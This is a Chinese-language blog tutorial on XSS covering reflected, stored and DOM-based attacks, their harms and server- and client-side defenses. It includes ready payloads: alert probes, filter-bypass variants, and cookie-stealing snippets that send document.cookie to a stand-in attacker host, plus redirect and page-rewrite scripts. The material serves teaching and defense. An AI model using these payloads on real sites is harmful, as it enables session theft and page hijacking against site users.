zoukankan      html  css  js  c++  java
  • web漏洞之XSS

    一 、XSS概述

           XSS是跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意HTML语句或Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的

    1.1分类

           XSS可以根据是否和后端或数据库交互分为两大类:持久性XSS(存储型)和非持久性XSS(反射型)

           反射型XSS:这种类型的XSS通常是一个页面(URL),它的攻击往往是一次性的,当被攻击者访问这个页面时,恶意代码就会被执行,从而达到攻击者的目的(弹cooking、页面劫持、钓鱼等)

           存储型XSS:这种xss用起来更为简单,攻击者的恶意语句和脚本会存储在服务器上面数据库中攻击行为将伴随着攻击数据一直存在。

           DOM型XSS:由于HTML页面中,定义了一段JS,根据用户的输入,显示一段 HTML 代码,攻击者 可以在输入时,插入一段恶意脚本,最终展示时,会执行恶意脚本。

    二、反射型XSS

    2.1攻击原理

      它通过我们给没有做任何防护或者防护不严格的网站插入html标签或script脚本来构造攻击页面,后端将解析后的页面和URL发送给攻击者,攻击者将URL发送给被害者,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起

    2.2攻击方法

           1.确认是否存在xss:<script>alert(“xss”);</script>或者<img src='111' onerror='alert("xss")'>

           2.弹cooking:var i=document.createElement("img");

            document.body.appendChild(i);

            i.src = "http://www.hackerserver.com/?c=" + document.cookie;

           3.页面跳转:<script>window.location.href="http://www.baidu.com";</script>

    2.3绕过方法

           1.大小写关键字,复写等简单方法。比如:<script>alert(“xss”);</script>可以转换为:<ScRipt>ALeRt(“XSS”);</sCRipT>

           2.闭合标签有时候我们需要关闭标签来使我们的XSS生效。比如: “><script>alert(“Hi”);</script>

           3.使用hex编码对攻击语句编码绕过

           4.使用HTML自身标记,比如:<img src='111' onerror='alert("xss")'>

           5.编码脚本代码绕过关键字过滤,如果服务器过滤了alert,我们可以将攻击语句编码后用eval()函数,如<script>eval(u0061u006cu0065u0072u0074(1))</script>

    2.4防御方法

           1.首先是过滤,对诸如<script>、<img>、<a>等标签进行过滤

           2.其次是编码。像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果

           3.对用户输入数据的长度进行限制,我们发现工具语句一般都比较长,可以限制输入内容长度

           4.采用以下函数过滤:htmlspecialchars函数、htmlentities函数、HTMLPurifier.auto.php插件、RemoveXss函数

    2.5危害

      1.挂马

    2.盗取用户Cookie。

    3.DOS(拒绝服务)客户端浏览器。

    4.钓鱼攻击,高级的钓鱼技巧。

    5.删除目标文章、恶意篡改数据、嫁祸。

    6.劫持用户Web行为,甚至进一步渗透内网。

    7.爆发Web2.0蠕虫。

    8.蠕虫式的DDoS攻击。

    9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

    10.其它安全问题

    三、存储型XSS

    3.1攻击原理

           它通过攻击者构造恶意HTML标签和脚本来提交插入服务器的数据库中(常见的留言系统),当服务器没有过滤或者过滤不严格时,服务器直接解析执行存入数据库中,当任何用户访问这个恶意页面时都会触发这个攻击,因为存储在数据库中,所以可以长期对所有访问者产生影响。

    3.2攻击方法

           和反射型相同

    3.3绕过方法

           同反射型

    3.4防御方法

      1.是在表单提交或者url参数传递前,对需要的参数进行过滤

      2. 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等

    3.严格控制输出

    4.使用htmlspecialchars() 函数,用于转义处理在页面上显示的文本。

    5.使用htmlentities() 函数,用于转义处理在页面上显示的文本

    3.5危害

    1.挂马

    2.盗取用户Cookie。

    3.DOS(拒绝服务)客户端浏览器。

    4.钓鱼攻击,高级的钓鱼技巧。

    5.删除目标文章、恶意篡改数据、嫁祸。

    6.劫持用户Web行为,甚至进一步渗透内网。

    7.爆发Web2.0蠕虫。

    8.蠕虫式的DDoS攻击。

    9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

    10.其它安全问题

    四、DOM型XSS

    4.1原理

           DOM型的xss不像反射型xss和存储型xss那样会与后台交互,DOM型xss的实现过程都是在前台。

    4.2攻击方法

           以下这些都会触发DOM型xss:document.referer属性、window.name属性、location属性、innerHTML属性、documen.write属性

           弹cooking:<script>var img=document.createElement("img");img.src="攻击者IP"+escape(document.cookie);</script>

           串改页面: <script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>

    4.3防御方法

           DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于客户端:

    1.避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

    2.分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到<script>则进行JS编码。

    4.4危害

           1.挂马

           2.盗取cooking

           3.钓鱼

           4.页面劫持

           5.记录用户数据等等

  • 相关阅读:
    preg_match 截取长度限制
    上传文件过大的问题
    PHP的线程安全ZTS与非线程(NTS)安全版本的区别
    开篇
    node:3416) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
    如何达到最最简单的平滑滚动
    react 复习
    包管理器
    github-443
    记录一下经常忘的数组方法,栈和队列
  • 原文地址:https://www.cnblogs.com/bin1121/p/12461001.html
Copyright © 2011-2022 走看看